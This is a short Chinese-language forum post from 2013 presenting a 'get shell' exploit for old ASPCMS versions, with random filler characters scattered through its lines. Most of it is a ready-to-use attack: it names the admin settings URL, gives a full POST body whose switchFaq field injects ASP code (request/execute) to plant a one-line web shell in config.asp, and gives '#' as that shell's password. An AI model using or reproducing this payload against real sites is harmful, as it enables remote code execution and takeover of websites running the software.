老的ASPCMS版本的秒杀拿SHELL漏洞6 v* n' g4 j4 H& M# b
+ g3 V$ f$ {8 D5 s8 u
找到后台。。。然后
) c t+ N3 X8 U" u6 O
2 x5 J6 c4 c$ P: O4 z/admin/_system/AspCms_SiteSetting.asp?action=saves* H* v5 X! {" u: n4 ]& Z
& Y; v7 U# l( l
直接POST
6 i6 `6 O; U) d& m 3 B6 e( c# \4 \% o3 w3 n- q9 E
runMode=1&siteMode=1&siteHelp=%B1%BE%CD%F8%D5%BE%D2%F2%B3%CC%D0%F2%C9%FD%BC%B6%B9%D8%B1%D5%D6%D0&SwitchComments=1&SwitchCommentsStatus=1&switchFaq=0:Y=request(chr(35)):execute(Y)&SwitchFaqStatus=0&dirtyStr=&waterMark=1&waterMarkFont=hahahaha&waterMarkLocation=1&smtp_usermail=aspcmstest%40163.com&smtp_user=aspcmstest&smtp_password=aspcms.cn&smtp_server=smtp.163.com&MessageAlertsEmail=13322712%40qq.com&messageReminded=1&orderReminded=1&applyReminded=1&commentReminded=1&LanguageID=1
0 N1 m4 B6 Y) R* j1 S
8 d2 F% @. q0 T Z5 ^! @0 {再连接配置文件config.asp 密码为#
5 X$ ^. @5 P% t7 Z8 P% ?4 i* L |
发表于 2013-2-4 16:18:35
收藏
支持
反对